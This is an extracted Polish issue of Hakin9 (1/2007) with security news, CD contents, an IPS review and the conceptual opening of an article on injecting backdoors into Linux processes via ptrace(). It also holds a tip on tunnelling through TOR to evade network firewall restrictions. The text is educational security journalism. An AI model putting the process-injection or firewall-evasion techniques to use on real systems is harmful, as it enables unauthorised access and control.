Hakin9 21 (01 2007) PL

background image
background image
background image
background image

4

www.hakin9.org

hakin9 Nr 1/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

Piotr Konieczny

Piotr przedstawia garść najciekawszych wiadomo-

ści ze świata bezpieczeństwa systemów informa-

tycznych.

Zawartość CD – hakin9.live

Emilia Godlewska

Emilia opisuje zawartość i sposób działania najnow-

szej wersji naszej sztandarowej dystrybucji haki-

n9.live

Sprzęt

IPS Broad Web NetKeeper

Jakub Wojnowski

Kuba przetestował narzędzie dystrybuowane przez

Dagmę. Przedstawia w jaki sposób urządzenie zneu-

tralizowało przeprowadzone ataki.

Atak

Hakowanie aplikacji -

Rootkity i Ptrace

Stefan Klaas

Stefan uczy jak rozumieć wywołanie systemo-

we ptrace() oraz w jaki sposób używać go w celu

zmiany przepływu sterowania uruchomionych pro-

gramów poprzez wstrzykiwanie własnych instrukcji
do pamięci procesu.

Schellcody nowej generacji

Itzik Kotler

Itzik opisuje przeszkody jakie spotyka n apastnik pró-

bujący uruchomić kod powłoki na systemie będącym

celem ataku oraz jak wyglądają sposoby obejścia tych

przeszkód.

10

06

08

12

26

Co dwie głowy to nie jedna

a co w przypadku kiedy

tych głów jest więcej?

O

ddajemy Wam do rąk pierwszy numer Hakin9u

miesięcznika. Nie będziecie musieli już czekać na

Wasze ulubione pismo aż dwa miesiące tylko mie-

siąc a zatem w ciągu roku będzie dwa razy więcej do poczy-

tania. To dobra wiadomość, którą nagradzamy wszystkich

tych czytelników, którzy są z nami od początku.

Pracujemy również nad poprawieniem jakości dla-

tego specjalnie dla Was tworzymy Radę Programową.

W zespole mamy już Macieja Szmita. Jest członkiem

International Computer Games Association, Naukowego

Towarzystwa Informatyki Ekonomicznej, Polskiego Towa-

rzystwa Informatycznego oraz Polskiego Towarzystwa

Użytkowników Produktów Novella.

Jego dorobek publikacyjny obejmuje osiemdziesiąt

publikacji (w tym ponad dwudzieścia publikacji nauko-

wych, autorstwo trzech i współautorstwo dwóch ksią-

żek oraz kilku rozdziałów w monografiach). Od 1996 roku

współpracuje z Wydawnictwem Software jako autor szere-

gu artykułów publikowanych w pismach „Boston IT Securi-

ty Review”, „Software Developer’s Journal” oraz „Hakin9”

(w edycjach: polskiej, czeskiej, francuskiej, hiszpańskiej,

angielskiej, włoskiej i niemieckiej), recenzent oraz redak-

tor prowadzący numerów poświęconych sztucznej inte-

ligencji (numer z lutego 2004 wydany w języku polskim

oraz numer Software Extra z lipca 2004 wydany w języ-

kach: polskim, hiszpańskim, niemieckim i francuskim).

Do Rady Programowej zapraszamy wybitne osobistości

by decydowały o najlepszych materiałach, które z miesią-

ca na miesiąc będziemy Wam przekazywać. Jeżeli chcecie

rekomendować kogoś do Rady Programowej Hakin9u pisz-

cie do nas.

Jak zwykle ciekawi jesteśmy Waszych opinii. Piszcie

śmiało: pl.@hakin9.org i do zobaczenia już za miesiąc.

Sylwia Pogroszewska

http://www.buyitpress.com

background image

4

www.hakin9.org

hakin9 Nr 1/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

Obrona

Huby w pajęczynach

i złośliwe m-routery

Maciej Szmit, Mariusz Tomaszewski

Maciek i Mariusz przedstawiają zapobieganie złośli-
wym m-routerom, omawiają ich wady.

Wszystko o NAT

Konrad Malewski

Konrad wyjaśnia metody, dzięki którym można utwo-

rzyć połączenie pomiędzy komputerami znajdujący-
mi się w różnych sieciach lokalnych.

Snort_inline

Pierpaolo Palazzoli, Matteo Valenza

Pierpaolo i Matteo omawiają działanie Snort_inline
i podstawy zapobiegania włamaniom do systemów.

Rozwiązania DTM

Łukasz Bromirski

Łukasz prezentuje jak wygląda architektura DTM

Cisco oraz jakie elementy powinieneś zastosować

w Sieci, by rozwiązanie spełniało swoje zadanie.

Wywiad

Peter Fleischer

Marta Ogonek

Peter Fleischer, kieruje pracami Google w zakresie

ochrony prywatności w regionie EMEA.

Zapowiedzi

Emilia Godlewska

Emiia zapowiada artykuły, które znajdą się w następ-

nym wydaniu naszego pisma.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Redaktor naczelny:
Sylwia Pogroszewska sylwiap@software.com.pl

Redaktor: Emilia Godlewska

Tłumaczenie: Rafał Kocisz

Wyróżnieni betatesterzy: Łukasz Witczak, Mateusz Lipiński,

Bartosz Sidzina

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Sławomir Zadrozny slawekz@software.com.pl

Artur Wieczorek arturw@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 887 13 45, Fax +48 22 887 10 11

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

cooperation@software.com.pl

Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych

pism prosimy o kontakt:

Monika Godlewska

e-mail: monikag@software.com.pl

tel.: +48 (22) 887 12 66

fax: +48 (22) 887 10 11

Druk: 101 Studio, Firma Tęgi

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na

towarzyszących mu nośnikach informacje i programy były poprawne,

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;

nie gwarantuje także poprawnego działania programów shareware,

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem

na jego szkodę i skutkuje odpowiedzialnością sądowa.

hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,

Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową w innych krajach europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

PL

ES

CZ EN

IT FR DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.

70

58

78

82

42

36

background image

W skrócie

hakin9 Nr 1/2007

www.hakin9.org

6

W skrócie

www.hakin9.org

7

hakin9 Nr 1/2007

Ekstradycja UFO-hackera

Gary McKinnon, brytyjski niedo-

szły fryzjer i script-kiddie, który po-

nad rok temu włamał się na serwe-

ry Pentagonu, może zostać potrak-

towany jako terrorysta. Wielka Bry-

tania podpisała zgodę na jego eks-

tradycję do USA.

Gary złożył już apelację, twierdząc,

że Amerykanie sfabrykowali więk-

szość dowodów w jego sprawie.

Dziwnym trafem, wycena strat spo-

wodowanych przez intruza na każ-

dym z serwerów równa była kwo-

cie 5 tys. dolarów, czyli wartości, od

której wedle amerykańskiego prawa

można ubiegać się o ekstradycję.

McKinnon, za pomocą pożyczo-

nego od byłej dziewczyny kompute-

ra, spenetrował kilkanaście serwe-

rów należących do rządu USA. We

włamaniach pomogły mu znalezio-

ne w sieci programy.

Motywem, jakim kierował się Ga-

ry, było poszukiwanie dowodów na

istnienie cywilizacji pozaziemskiej

oraz materiałów świadczących

o wykorzystywaniu przez USA na-

pędów antygrawitacyjnych.

McKinnon, w kilkunastu wywia-

dach udzielonych od momentu jego

schwytania, opowiadał o fatalnym

stanie zabezpieczeń na serwerach

rządowych USA. Gary miał pozy-

skiwać tajne informacje wojskowe

forsując tak zaawansowane barie-

ry, jak na przykład puste hasła ad-

ministratora. Anglika zgubił fakt po-

zostawienia notki informującej o lu-

kach w zabezpieczeniach, wprost

na pulpicie rządowej maszyny, do

której udało mu się dostać.

Nokia i Snort

Fiński koncern Nokia poinformował

o nawiązaniu współpracy z firmą So-

urcefire, producentem powszechnie

znanego wśród specjalistów od za-

bezpieczeń narzędzia Snort.

Nokia działa nie tylko na rynku te-

lefonii komórkowej. Firma dostar-

cza także zintegrowane platformy

zabezpieczeń sieci.

Snort to opensource'owy program,

którego zadaniem jest monitorowa-

nie i analiza ruchu sieciowego pod

kątem symptomów charakterystycz-

nych dla włamań. Jego twórca, Mar-

tin Roesch, nie ukrywał, że oferty

współpracy składały mu (oprócz No-

kii) także inne, znane w sieciowym

światku firmy, z Cisco na czele. Za-

pewnia, że wybrana oferta jest naj-

korzystniejszą nie tylko dla niego, ale

i dla Snorta.

Luka, której nie było?

T

egoroczna konferencja ToorCon
zostanie w pamięci nie tylko jej

uczestników, ale także milionów użyt-
kowników przeglądarki Firefox. Dwój-
ka prelegentów, Andrew Wbeelsoi
i Mischa Spiegelmock, oświadczy-
ła podczas swojego wykładu, że jest
w posiadaniu exploita na poważną lu-
kę w przeglądarce Firefox. Z racji po-
pularności, jaką cieszy się ta prze-
glądarka internetowa, systematycz-
nie „przeciągająca” na swoją stronę
coraz więcej użytkowników Internet
Explorera, wiadomość o dziurze odbi-
ła się głośnym echem po całym inter-
necie. Przez kilka dni serwisy informa-
cyjne jak i blogosfera trąbiły o domnie-
manych błędach w Firefoksie i jako-
by fatalnym stanie implementacji ca-
łej obsługi JavaScript. Oliwy do ognia
dolewał brak pełnego kodu eksploita.
Hackerzy w czasie swojej prezentacji
ujawnili jedynie jego fragmenty.

Nie ma się co dziwić, że najbar-

dziej zdenerwowało to odpowiedzial-
nych za bezpieczeństwo przeglądarki
pracowników fundacji Mozilla. Szefo-
wa Mozilli ds. bezpieczeństwa, Win-
dow Synder, mimo iż podejrzewała
opisaną dziurę jako wariant jednej ze
znanych już luk, oświadczyła, że nie-
odpowiedzialnym jest podawanie te-
go typu informacji opinii społecznej,
gdyż zachodzi ryzyko niemalże na-
tychmiastowego wykorzystania dziu-
ry przez cyberprzestępców.

Jakby tego było mało, w czasie pre-

zentacji wspomniano o istnieniu ko-

lejnych trzydziestu błędów w przeglą-
darce Firefox. Co więcej, hackerzy nie
zamierzali ich ujawniać. Nie ukrywali
również, że mają zamiar wykorzystać
znalezione błędy we własnych celach
(sic!). Andrew i Mischa odrzucili tym
samym ofertę Mozilli, która za znalezie-
nie poważnego błędu w kodzie Firefok-
sa płaci programistom 500 dolarów.

Wkrótce po burzy, jaka rozpętała

się w mediach, nadszedł czas skru-
chy. Mischa wystosował oświadcze-
nie, w którym przeprosił wszystkich
za zamieszanie wywołane prezenta-
cją. Hacker podkreślał, że prezenta-
cja miała być w dużej mierze humo-
rystyczna. Mischa przyznał także, iż
pomimo wielu prób nie udało mu się
przedstawionej na konferencji dziury
wykorzystać do zdalnego wykonania
kodu, a następnie zaprzeczył, jakoby
był w posiadaniu informacji dotyczą-
cych 30 kolejnych dziur w kodzie Fire-
foksa. Zarówno Mischa jak i Window
potwierdzili, że odpowiednie wykorzy-
stanie luki powoduje nagłe zamknięcie
przeglądarki i wyczerpanie zasobów
maszyny, a sama dziura była wcze-
śniej znana programistom Mozilli.

W całym tym zamieszaniu nale-

ży pochwalić szybką reakcje pracow-
ników Mozilli, którzy nie zlekcewa-
żyli możliwości zagrożenia i błyska-
wicznie podjęli procedury dążące do
wyjaśnienia całej sprawy, działając
zgodnie z przekonaniem, że bezpie-
czeństwo użytkowników jest najważ-
niejsze.

Uważaj na hakerów odbierając SMS

K

omenda Główna Policji na stro-
nach internetowych zaczęła

ostrzegać obywateli przed phishin-
giem. Akcja przeprowadzana przez
policję jest profesjonalna, a co więcej,
materiały zostały napisany w sposób
łatwy do przyswojenia nawet przez
mniej zaawansowanych użytkowni-
ków komputera. Policjanci porusza-
ją tematy podrobionych stron banko-
wych i metod, jakimi cyberprzestęp-
cy starają się zachęcić nas do poda-
nia im prawdziwych danych. Oprócz

standardowego wysyłania e-maili
zachęcających do kliknięcia w lin-
ki, funkcjonariusze opisali także nowe
metody przestępców bazujące na ko-
munikacji przez telefon – i chodzi tu
zarówno o rozmowę, jak i przesyłanie
wiadomości SMS. Policja wypunkto-
wała także listę dobrych zwyczajów,
których przestrzeganie powinno zaosz-
czędzić internautom wielu kłopotów.
Więcej szczegółów na stronie http://

www.policja.pl/index.php?dzial=1&id

=3405

background image

W skrócie

hakin9 Nr 1/2007

www.hakin9.org

6

W skrócie

www.hakin9.org

7

hakin9 Nr 1/2007

Usuń sobie DRM

Od złamania systemu MS DRM (Mi-

crosoft Digital Rights Management)

przez hackera, przedstawiającego

się jako Beale Screamer minęło już

kilka lat. W tym czasie system DRM

doczekał się kolejnych wersji, popra-

wiających niedociągnięcia. Jednak

ostatnio w sieci pojawił się program

FairUse4WM służący do zdejmowa-

nia zabezpieczeń z plików muzycz-

nych chronionych DRM-em w wer-

sji 10 i 11. Graficzny interfejs aplika-

cji sprawia, że zabezpieczenia przed

kopiowaniem mogą zdejmować oso-

by nieposiadające specjalistycznej

wiedzy na temat DRM.

Viodentia, autor programu, nie za-

chęca do piractwa i oświadczył, ze

narzędzie powstało, by umożliwić

użytkownikom kopiowanie muzy-

ki z zabezpieczonych plików w ra-

mach dozwolonego prawem użytku

prywatnego. Jest to bunt przeciw-

ko serwisom muzycznym, zwłasz-

cza tym, które sprzedają prawa do

słuchania utworów, ale tylko wtedy,

kiedy użytkownik posiada aktywne

(obarczone comiesięczną opłatą)

konto w serwisie.

Innego zdania jest Microsoft,

który złożył pozew przeciwko au-

torowi oprogramowania usuwają-

cego DRM. Co ciekawe, Microsoft

oskarża hakera nie o złamanie za-

bezpieczeń, ale o nielegalne po-

zyskanie kodu źródłowego pro-

duktów Microsoftu, bez którego

– zdaniem firmy – Viodencie nie

udałoby się złamać DRM.

Dziurawe OpenSSL

Wraz z końcem września udostęp-

niono łaty na cztery luki w znanym

pakiecie OpenSSL.

Jak donoszą specjaliści do spraw

bezpieczeństwa, dwie ze znalezio-

nych dziur są poważne. Pierwsza

dotyczy błędu w praserze ASN.1,

który za pomocą specjalnego kodu

można wprowadzić w nieskończo-

ną pętle, zużywając tym samym

całkowite zasoby pamięci.

Druga poważna luka to błąd

w funkcji SSL_get_shared_ciphers

umożliwiający atak przepełnienia

buforu. Trzecia, mniej groźna dziu-

ra dotyczy złej konfiguracji serwe-

ra OpenSSL, mogącej wpłynąć na

niestabilność pracy klienta.

Administratorów serwerów korzy-

stających z OpenSSL zachęcamy

do jak najszybszego zainstalowa-

nia poprawek dostępnych na stro-

nie http://www.openssl.org/.

Policja zatrzymała serwery TOR

T

he Onion Routing to stworzona
przez Electronic Frontiers Founda-

tion sieć niekomercyjnych, często pry-
watnych serwerów, tworzących wirtual-
ną sieć połączeń i umożliwiająca swo-
im użytkownikom anonimowe korzysta-
nie z zasobów Internetu. TOR wykorzy-
stywany jest przez dziennikarzy lub dy-
sydentów w celu ominięcia cenzury lub
zatarcia za sobą śladów po publika-
cji niewygodnych wiadomości. Z sieci
TOR korzystają także agencje rządo-
we, które obserwując pewne strony in-
ternetowe, nie chcą w logach pozosta-
wiać śladu swojego adresu IP. Niemiec-
ka policja, prowadząca dochodzenie w
sprawie dziecięcej pornografii, w cza-
sie jednego z przeszukań zatrzyma-
ła także sześć serwerów działających
w systemie TOR. Jak donoszą opera-
torzy przejętych przez policję serwe-
rów, nie zostali oni zatrzymani, ani nie
postawiono im zarzutów. Początko-
wo media informowały, że najazd poli-
cji wymierzony był również w sieć TOR,
postrzeganą przez niektórych jako nie-
wygodny (bo nie dający łatwo zidenty-

fikować użytkownika) zalążek anarchii
w sieci. Opiekunowie projektu zdemen-
towali jednak te pogłoski, tłumacząc,
że najprawdopodobniej jeden z tropio-
nych przez policję pedofilów mógł wy-
korzystać TOR do zestawienia połą-
czenia. TOR posiada także inną, ma-
ło znaną zaletę. Korzystając z jego za-
sobów, przy odpowiedniej konfiguracji
klienta, możemy ominąć restrykcje fi-
rewalla naszej sieci. Jeśli tylko mamy
dostęp do portu 80 – możemy tunelo-
wać połączenia dla usług działających
na innych portach – np. Jabbera lub
SSH. Czasem – trzeba przyznać – na-
wet na bardzo dobrym łączu nie jest to
szybkie rozwiązanie, gdyż cebulowy
routing implementowany przez TOR
i połączenia przekazywane przez kil-
ka serwerów dodają sporo opóźnienia
do ruchu pakietów. Ale coś za coś – je-
śli administrator zablokował nam jakąś
usługę – na przykład połączenia FTP,
a my koniecznie musimy z niej skorzy-
stać – warto przecierpieć opóźnienia w
ruchu i powolny transfer, by móc w koń-
cu użyć upragnionej usługi.

W

e wrześniu amerykański sąd
okręgowy w Illinois nakazał

właścicielom Spamhaus.org wypła-
tę niebagatelnej kwoty 11 mln dola-
rów odszkodowania na rzecz firmy
e360insight, która wg ustaleń wymia-
ru sprawiedliwości niesłusznie znala-
zła się na liście spamerów tworzonej
przez Spamhaus. Spamhaus nie wy-
płacił odszkodowania, ponieważ fir-
ma nie znajduje się w Stanach Zjed-
noczonych a na terenie Wielkiej Bry-
tanii, zatem wyroki sądu w USA jej
nie dotyczą. Co więcej, Spamhaus
nie usunęła firmy e360insight ze swo-
ich list. Paradoksalnie, bezsilność
amerykańskiego wymiaru sprawiedli-
wości zmotywowała go do działania.
Sąd postanowił złożyć wniosek o za-
wieszenie domeny spamhaus.org do
organizacji ICANN, ta jednak oznaj-
miła, że nie jest stroną w sporze
i nie ma obowiązku wykonywać żad-
nych sugestii sądu. Chęć zniszczenie

Kto tu jest spamerem?

Spamhaus dziwi niektórych specjali-
stów do spraw bezpieczeństwa. Są
oni zdania, że niedostępność list spo-
rządzanych przez Spamhaus może
spowodować zalew milionów skrzy-
nek pocztowych niechcianą pocztą,
która obecnie – właśnie dzięki listom
– jest blokowana.

Całą akcję wymiaru sprawiedli-

wości oceniają jako elektroniczne sa-
mobójstwo, zwłaszcza, że ze Spam-
haus.org korzysta wiele znanych or-
ganizacji, w tym także Biały Dom
czy amerykańskie siły zbrojne. Od-
miennego zdania są naukowcy, któ-
rzy przy ocenie sytuacji uwzględnili
ogrom informatycznej wiedzy posia-
danej przez administratorów korzy-
stających z baz Spamhaus. Uczeni
sądzą, że nawet po zamrożeniu stro-
ny WWW oskarżonej organizacji, ko-
rzystający z jej usług administratorzy
szybko znajdą inne strony udostęp-
niające do pobrania te same listy.

background image

hakin9.live

hakin9 Nr1/2007

www.hakin9.org

8

N

a dołączonej do pisma płycie znajduje się hakin9.
live (h9l) w wersji 3.1-aur – bootowalna dystry-
bucja Auroxa, zawierająca przydatne narzę-

dzia, dokumentację, tutoriale i materiały dodatkowe do
artykułów. Aby zacząć pracę z hakin9.live, wystarczy
uruchomić komputer z CD1. Po uruchomieniu systemu
możemy zalogować się jako użytkownik hakin9 bez po-
dawania hasła.

Materiały dodatkowe zostały umieszczone w nastę-

pujących katalogach:

• tut – 24 tutoriale w tym jeden nowy: „Sieci nie lokalne”;
• Aurox-Live;
• HIT – Outpost PRO Firewall, Qengine Issue Manager

4.0, Kaspersky Anti-Spam 3.0;

• applications – programy;
• doc – indeks;
• pdf – materiały archiwalne oraz e-books.

Materiały archiwalne zostały umieszczone w podkatalo-
gach _arch. W przypadku przeglądania płyty z poziomu
uruchomionego hakin9.live powyższa struktura jest do-
stępna z podkatalogu /mnt/cdrom.

Wersję hakin9.live 3.1-aur zbudowaliśmy, opiera-

jąc się o dystrybucję Aurox i skrypty automatycznej ge-
neracji (www.aurox.org/pl/live). Narzędzia dystrybucji,
które nie znajdują się na dołączonej do pisma płycie,
instalowane są z repozytorium Auroxa za pomocą pro-
gramu yum.

W porównaniu z hakin9.live 2.9.1-ng zasadniczą

zmianą jest oparcie systemu na dystrybucji Aurox Li-
ve 11.1. oraz przejście z Fluxboksa na środowisko gra-
ficzne KDE.

Tutoriale i dokumentacja

W skład dokumentacji, oprócz standardowych dla Li-
nuksa stron pomocy (stron manualna), z których sko-
rzystać możemy poprzez konsolę wydając polecenie
man [nazwa programu], wchodzą między innymi tuto-
riale, przygotowane przez redakcję.

Na CD opracowane zostały praktyczne ćwiczenia

do jendego artykułu – Sieci nie lokalne, który można
przeczytać w piśmie. Zakładamy, że podczas wykony-
wania ćwiczeń związanych z artykułami i tutorialami,
użytkownik korzysta z hakin9.live. Dzięki temu unik-
nie problemów związanych z różnymi wersjami kom-
pilatorów, inną lokalizacją plików konfiguracyjnych czy
opcjami niezbędnymi do uruchomienia programu w da-
nym środowisku. hakin9.live został przygotowany pod
kątem tych ćwiczeń i zawiera wszystkie wymagane
aplikacje.

Zawartość CD

Qengine IssueManager 4.0

QIM jest stuprocentowo webowym oprogramowaniem
do zarządzania rozwiązywaniem problemów, które
oferuje funkcjonalność zarządzania poprawianiem błę-
dów, zarządzania projektem, ulepszeniami, defektami
i elementy zarządzania zadaniami. Dostarcza kontro-
le dostępu zależna od roli w projekcie, obsługę załącz-
ników, zarządzanie terminarzem, automatyczne notyfi-
kacje przez emalia. Zarządzanie czasem pracy, reguły
biznesowe, aktywna identyfikacji w kartotece, dołącza-
nie zrzutów ekranu, łatwe raportowanie i szerokie moż-
liwości dostosowań.

Outpost PRO Firewall

Outpost Firewall jest osobistym systemem zaporo-
wym chroniącym komputer użytkownika przed ataka-
mi podczas połączenia z Internetem (ataki hakerów,
włamania, konie trojańskie itp.). Dodatkowy moduł an-
tyspyware chroni w czasie rzeczywistym przed ataka-
mi programów szpiegowskich. Program jest dostępny
w polskiej wersji językowej.

Outpost kontroluje zarówno połączenia przycho-

dzące jak i wychodzące, dzięki czemu każda pró-
ba kradzieży poufnych danych będzie zablokowana.
W sieci firmowej zapewnia szczególną ochronę notebo-
oków, wynoszonych zwykle poza obręb firmy i łączących
się z Internetem z niechronionych lokalizacji. Outpost po-
zwala również na blokowanie dostępu do określonych
stron internetowych (według adresu lub treści strony).

Specjalny moduł „Ochrona prywatnych informacji”

blokuje wysłanie poufnych danych zapewniając dodatko-
wą ochronę haseł do kont bankowych lub numerów kart
kredytowych. Zaawansowanym użytkownikom Outpost
pozwala na konfigurowanie dowolnych reguł oraz posze-
rzanie funkcjonalności poprzez dodatkowe wtyczki (np.
blokowanie reklam).

Kaspersky Anti-Spam 3.0

Kaspersky Anti-Spam chroni przed niechcianą korespon-
dencją elektroniczną (spamem). Pozwala na wyelimino-
wanie niechcianych wiadomości e-mail z ruchu poczto-
wego. Rozwiązanie wykorzystuje inteligentną technolo-
gię wykrywania spamu i powstało na bazie wieloletnie-
go doświadczenia ekspertów z Kaspersky Lab w projek-
towaniu systemów chroniących ruch pocztowy w środo-
wiskach korporacyjnych. Kaspersky Anti-Spam walczy
ze spamem korzystając z wielopoziomowego filtrowa-
nia wiadomości e-mail. Analiza lingwistyczna może auto-
matycznie przetwarzać wiadomości i odrzucać niechcia-
ną korespondencję. Ponadto rozwiązanie jako jedyne na
rynku analizuje spam powstający w języku rosyjskim.

background image

hakin9 Nr 1/2007

www.hakin9.org

9

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie, sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl

background image

10

Sprzęt

hakin9 Nr 1/2007

www.hakin9.org

Urządzenie Broad Web Netkeeper, bo o nim mowa jest
systemem IPS (Intrusion Prevention System). Oznacza
to dokładnie tyle, że podobnie jak rozwiązania typu IDS,
NetKeeper potrafi wykrywać ataki, w odróżnieniu jednak
od systemów IDS potrafi również te ataki automatycznie
blokować. Jest zatem połączeniem klasycznych IDS'ów
z firewallem.

Istnieje jednak różnica pomiędzy sposobem filtrowa-

nia pakietów przez NetKeepera a zwykły firewall. Więk-
szość zapór ogniowych filtruje ruch w sieci na podsta-
wie informacji o pakietach: adres źródłowy, docelowy,
port, protokół, nie mają natomiast wpływu zawartość
pakietów (wynika to z faktu, że działają na 4 warstwie
system OSI). Netkeeper natomiast potrafi kontrolować
ruch w sieci na podstawie zawartości poszczególnych
pakietów, dzięki czemu jest w stanie wykryć np. exploity
i złośliwe robaki i wirusy internetowe.

Sercem NetKeepera jest dedykowany procesor firmy

BroadWeb, dzięki któremu jest on w stanie obsłużyć
nawet sieci o bardzo dużych przepustowościach.

NetKeeper pracuje w trybie in-line dzięki czemu nie

ma możliwości pominięcia przez niego żadnego pakietu
w sieci. Sprawia to, że skutecznie radzi on sobie z ataka-
mi np. SQL Slammer.

System stosuje różne metody identyfikacji ataków:

np. na podstawie analizy statystycznej czy z wbudowa-
nej bazy sygnatur ataków. Urządzenie posiada również
proste narzędzie do tworzenia własnych sygnatur.

NetKeeper filtruje ruch na podstawie predefiniowa-

nych polityk. Posiada on ok dwóch tysięcy zdefiniowa-
nych reguł, na podstawie których można budować polity-
kę bezpieczeństwa sieci.

Urządzenie posiada również możliwość blokowa-

nia aplikacji typu peer-to-peer oraz instant messaging
i dostępu do wybranych przez administratora usług (np.
chat) i stron internetowych.

O skuteczności produktu świadczy zresztą fakt, że

NetKeeper jako jeden z pierwszych uzyskał prestiżo-
wy certyfikat ICSA Labs potwierdzający zaawansowane
możliwości ochrony sieci firmowej przed włamaniami.

Podczas testów urządzenie zneutralizowało

wszystkie z przeprowadzanych ataków, w tym ataki
typu DoS. Zestaw narzędzi użyty do testów zawie-

rał‚ m.in. Tomahawk narzędzie służące do testowa-
nia urządzeń IPS, zestaw testów penetracyjnych Core
Impact, oraz skrypty specjalnie przygotowane przez
programistów ICSA. Ataki ukryte zostały w tysiącach
gigabajtów legalnego ruchu kierowanego na serwery
Cybertrust przez jego partnerów handlowych, którzy
wzięli udział w teście.

Reasumując NetKeeper jest bardzo udanym produktem,

godnym polecenia każdemu ceniącemu sobie bezpieczeń-
stwo administratorowi sieci. Do plusów NetKeepera należy z
pewnością zaliczyć pracę w trybie in-line, analizę zawartości
pakietów i dużą liczbę wykrywanych ataków oraz mnogość
zdefiniowanych reguł filtrowania ruchu.

Producentem urządzenia NetKeeper jest firma Bro-

adWeb (http://www.broadweb.com/) a dystrybutorem
na Polskę jest Dagma (http://www.dagma.pl).

Aurox Core Team przetestował urządzenie IPS Broad Web NetKeeper, które
służy ochronie oraz podniesieniu bezpieczeństwa Sieci.

Recenzja urządzenia

IPS Broad Web NetKeeper

W Sieci

Pełny raport z przeprowadzonych przez ICSA testów znajdu-
je się pod adresem:

http://www.icsalabs.com/icsa/docs/html/communities/nips/
certifiedproducts/BroadWeb_NetKeeper_3256P_NIPS_
report_060626.pdf

background image
background image

www.hakin9.org

hakin9 Nr 1/2007

12

Atak

D

otychczas nie znaliśmy zbyt wie-
le dostępnych publicznie funkcji
nadpisujących kod. Jest trochę ko-

du w „podziemiu”, który nie jest publicznie
udostępniony z powodu przeterminowania
(10.2006) i nie ma też dobrych dokumen-
tów opisujących tą technikę, dlatego obja-
śnię ją. Jeśli znasz już ptrace(), ten arty-
kuł powinien Cię również zainteresować,
bo zawsze to dobrze jest się nauczyć no-
wych rzeczy, nieprawdaż? Czy to nie fajnie
móc wstawiać furtki prawie każdego rozmia-
ru do pamięci dowolnego procesu, zmienia-
jąc jego wykonanie, nawet na niewykonywal-
ną część stosu? Zatem czytaj czytaj dalej,
bo przedstawię w szczegółach, jak to zro-
bić. Zastrzegam też, że użyłem następują-
cych wersji gcc:

gcc version 3.3.5 (Debian)
gcc version 3.3.5 (SUSE Linux)

Kompilujemy zawsze prostą metodą gcc file.c

-o output; nie trzeba żadnych flag kompilacji,
toteż nie będę przedstawiać przykładów kom-
pilacji. To powinno być oczywiste. Tyle słowem
wstępu, zaczynamy.

Objaśnienie funkcji ptrace()

Funkcja

ptrace()

jest bardzo użyteczna przy

debugowaniu. Używa się jej do śledzenia pro-
cesów.

Wywołanie systemowe

ptrace()

dostar-

cza narzędzia poprzez które proces nadrzęd-
ny może obserwować i kontrolować wykona-
nie innego procesu, a także podglądać i zmie-
niać jego główny obraz i rejestry. Najczęściej
jest używany do zaimplementowania punktów

Hakowanie aplikacji

Rootkity i Ptrace

Stefan Klaas

stopień trudności

Przede wszystkim muszę zastrzec, że ten tekst jest specyficzny

dla Linuksa i potrzebna jest pewna wiedza o programowaniu w

ANSI C oraz trochę o asemblerze. Było już dawniej parę różnych

technik wstrzykiwania procesu z udziałem, kilka publicznych, jak i

prywatnych eksploitów, furtek i innych aplikacji. Przyjrzymy się bliżej

funkcji i nauczymy się, jak pisać własne furtki.

Z artykułu dowiesz się...

• należy rozumieć wywołanie systemowe

ptrace

();

• używać go w celu zmiany przepływu stero-

wania uruchomionych programów poprzez
wstrzykiwanie własnych instrukcji do pamięci
procesu, przejmując w ten sposób kontrolę nad
uruchomionym procesem.

Powinieneś wiedzieć...

• należy być obytym ze środowiskiem Linuksa,

jak i posiadać zaawansowaną wiedzę o C i pod-
stawową o asemblerze Intel/AT&T.

background image

Pisanie własnych furtek

hakin9 Nr 1/2007

www.hakin9.org

13

zatrzymania podczas debugowania
i śledzenia wywołań systemowych.

Proces nadrzędny może zainicjo-

wać śledzenie poprzez wywołanie

fork()

i nakazanie procesowi potom-

nemu wykonania

PTRACE _ TRACEME

, a

po nim (zazwyczaj)

exec

. Ewentual-

nie proces nadrzędny może zarzą-
dzić śledzenie istniejącego procesu
z użyciem

PTRACE _ ATTACH

.

Proces potomny, gdy jest śle-

dzony, zatrzyma się za każdym ra-
zem, gdy dostanie sygnał, nawet
jeśli sygnał ma ustawione ignoro-
wanie (poza

SIGKILL

, który kończy

się zawsze tak samo). Proces nad-
rzędny będzie notyfikowany w na-
stępnym miejscu oczekiwania i mo-
że przeglądać i modyfikować pro-
ces potomny, gdy ten jest zatrzy-
many. Proces nadrzędny następnie
każe procesowi potomnemu kon-
tynuować wykonanie, opcjonalnie
